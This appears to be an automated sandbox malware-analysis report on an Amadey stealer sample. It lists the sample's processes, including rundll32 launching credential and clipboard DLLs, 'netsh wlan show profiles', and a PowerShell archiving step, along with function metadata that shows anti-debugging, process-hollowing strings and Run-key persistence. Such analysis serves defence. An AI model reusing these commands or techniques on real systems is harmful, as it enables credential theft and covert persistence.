Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
Imagebase:	0x300000
File size:	441'344 bytes
MD5 hash:	4962575A2378D5C72E7A836EA766E2AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe, Author: Joe Security
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:19:06
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Imagebase:	0x300000
File size:	441'344 bytes
MD5 hash:	4962575A2378D5C72E7A836EA766E2AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:20:01
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Imagebase:	0x300000
File size:	441'344 bytes
MD5 hash:	4962575A2378D5C72E7A836EA766E2AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	02:20:09
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Imagebase:	0x5e0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:20:09
Start date:	13/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Imagebase:	0x7ff7e39d0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:20:09
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Imagebase:	0x5e0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:20:09
Start date:	13/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll, Main
Imagebase:	0x7ff7e39d0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:20:11
Start date:	13/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff703ce0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:20:11
Start date:	13/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff703ce0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:20:11
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:20:11
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:20:14
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main
Imagebase:	0x5e0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	02:20:14
Start date:	13/12/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll, Main
Imagebase:	0x5e0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	02:20:18
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:20:18
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:20:19
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:20:19
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	41.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	51.8%
Total number of Nodes:	483
Total number of Limit Nodes:	11

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF7CDC42048 Relevance: 66.9, APIs: 34, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7CDC420AD

Strings

NtUnmapViewOfSection, xrefs: 00007FF7CDC423AE
@, xrefs: 00007FF7CDC42429
ntdll, xrefs: 00007FF7CDC42399
.reloc, xrefs: 00007FF7CDC4264F

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction ID: b4faf71186f0e228297048bc4ba1d4986a880afdceaaa01462da15d5311d5c9f
Opcode Fuzzy Hash: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction Fuzzy Hash: 2B32C53270CAC18AE7709F15E8597BAE3A1FB88B94F404135DA9D83B98EF3CD4558B50

Function 00007FF7CDC4345C Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CDC4321C: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF7CDC4346D), ref: 00007FF7CDC43220

ExitProcess.KERNEL32 ref: 00007FF7CDC43476
ExitProcess.KERNEL32 ref: 00007FF7CDC434D4

Strings

svchost.exe, xrefs: 00007FF7CDC43497
worker_BAccdq, xrefs: 00007FF7CDC43510
worker_RdDwvE, xrefs: 00007FF7CDC434BF
msiexec.exe, xrefs: 00007FF7CDC434FB
worker_kBEqZh, xrefs: 00007FF7CDC43561
audiodg.exe, xrefs: 00007FF7CDC4354C
worker_FDhvwc, xrefs: 00007FF7CDC435CD

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: 7a5e32be024098133c8fe6dcfe016820a41a9c533a74987b5c75148df4034c8c
Instruction ID: 40430c6e0854b76e9e0379ce2750bc9c5fa78f159ebad19924cd9952dd155181
Opcode Fuzzy Hash: 7a5e32be024098133c8fe6dcfe016820a41a9c533a74987b5c75148df4034c8c
Instruction Fuzzy Hash: EE610A20B4C64389EA74BF30A85D3B9B262AF80721F900935D67E865E5EE2DE4078670

Function 00007FF7CDC44264 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43481), ref: 00007FF7CDC44268
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43481), ref: 00007FF7CDC4427B
GetTokenInformation.KERNELBASE ref: 00007FF7CDC442AC
GetTokenInformation.KERNELBASE ref: 00007FF7CDC442DE
CloseHandle.KERNEL32 ref: 00007FF7CDC442ED

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction ID: 23f17c47814e2d8ce7d0a75902218287df803a137b0a55825b52885f5953d9c1
Opcode Fuzzy Hash: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction Fuzzy Hash: 7F31153261CA818AD760EF04E45872AF7A1FBC4BA0F500135FB9E43A68EF7CD4028B10

Function 00007FF7CDC4321C Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF7CDC4346D), ref: 00007FF7CDC43220
GetCurrentProcess.KERNEL32 ref: 00007FF7CDC43236
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF7CDC43244

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction ID: 65cccfb00998bab0cf1a7f90774fa6d75984eda71fad0d75ae8be5450b33a5f3
Opcode Fuzzy Hash: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction Fuzzy Hash: ACF05E20B0C28289E7327F65A40C379B7D1AF85B18F900574DABD06596EF2CE50ADB31

Function 00007FF7CDC41050 Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF7CDC41063
GetProcAddress.KERNEL32 ref: 00007FF7CDC41078

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction ID: ba2847b9a22c2767adbd987830fe3843bb5b8e75af8c70c7861bbd9457e55d15
Opcode Fuzzy Hash: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction Fuzzy Hash: 28E09276609F8086CA20AF15F84401AB7B4FBC8794F904125EBCD42B28DF3CC165CB00

Function 00007FF7CDC438C4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CDC43744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF7CDC43784
Part of subcall function 00007FF7CDC43744: GetVolumeInformationW.KERNELBASE ref: 00007FF7CDC43801
Part of subcall function 00007FF7CDC43744: wsprintfW.USER32 ref: 00007FF7CDC438A2

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC4390D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43922
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43935
CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43945
SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43958
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC4396D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43980
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43995

Strings

.exe, xrefs: 00007FF7CDC43986

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: ad427c8d5848fc1249d0a57c1c2e5cab76719b9f7eb05ae4e82a907526b46e72
Instruction ID: e4daabe5cecf5a70f61cb760bfc28c8ee32b3a03586186f159d6fc7c04536ce0
Opcode Fuzzy Hash: ad427c8d5848fc1249d0a57c1c2e5cab76719b9f7eb05ae4e82a907526b46e72
Instruction Fuzzy Hash: 7611572171C98689DB70AF25F85837AA362FBC4794F905431DB5E43A69EE3CD015CB50

Function 00007FF7CDC43A74 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CDC43744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF7CDC43784
Part of subcall function 00007FF7CDC43744: GetVolumeInformationW.KERNELBASE ref: 00007FF7CDC43801
Part of subcall function 00007FF7CDC43744: wsprintfW.USER32 ref: 00007FF7CDC438A2

Part of subcall function 00007FF7CDC438C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC4390D
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43922
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43935
Part of subcall function 00007FF7CDC438C4: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43945
Part of subcall function 00007FF7CDC438C4: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43958
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC4396D
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43980
Part of subcall function 00007FF7CDC438C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CDC43AA9), ref: 00007FF7CDC43995

GetModuleFileNameW.KERNEL32 ref: 00007FF7CDC43AB9
DeleteFileW.KERNELBASE ref: 00007FF7CDC43AC4
CopyFileW.KERNELBASE ref: 00007FF7CDC43ADD
SetFileAttributesW.KERNELBASE ref: 00007FF7CDC43AF5

Strings

Services, xrefs: 00007FF7CDC43B00

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: be0043b295d9898150489b8ba5340aa22ed2e55b609d377a08c94104789181f7
Instruction ID: 5c2cd969ea43fd3c70193af7df7b754ddf83a3e3981d64895a41d011012e81a4
Opcode Fuzzy Hash: be0043b295d9898150489b8ba5340aa22ed2e55b609d377a08c94104789181f7
Instruction Fuzzy Hash: 3D013C61B1C58296EB70AF24E4583BAA361FB94754FD05832D76D825A8FE2CD20ACB50

Function 00007FF7CDC43744 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF7CDC43784
GetVolumeInformationW.KERNELBASE ref: 00007FF7CDC43801
wsprintfW.USER32 ref: 00007FF7CDC438A2

Strings

%08lX%04lX%lu, xrefs: 00007FF7CDC43893

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction ID: 5037518df6c7b8a71472e85f0e706e642c84b1d6cccf7cb940fbafe46d0e88e5
Opcode Fuzzy Hash: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction Fuzzy Hash: F731082661C5C18ADB30EF60E4983AAF3A1FB84710F901526E79D83A98EB3DC409CF10

Function 00007FF7CDC439B4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF7CDC43B0C), ref: 00007FF7CDC439E4
RegSetValueExW.KERNELBASE ref: 00007FF7CDC43A39
RegCloseKey.ADVAPI32 ref: 00007FF7CDC43A48

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF7CDC439D6

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 5fdf8a34efa352080ba6f6553334769d4c7d7706005dac43f85eff4b5ffc39d8
Instruction ID: 2db0d46a83fdebf6897ab8ded7e6fa69f982592b46fd32b83573377de2d8f08c
Opcode Fuzzy Hash: 5fdf8a34efa352080ba6f6553334769d4c7d7706005dac43f85eff4b5ffc39d8
Instruction Fuzzy Hash: 0811003561C6808AD760AF54E44466AB7A1E7847B0F505621EA7E43BE8EB6CD1458B10

Function 00007FF7CDC43B24 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF7CDC43B42

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction ID: 9a4a4211e43b96b9c9a9000886555e645fa7aff64fe2d4ee55cfc2e9219fd91d
Opcode Fuzzy Hash: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
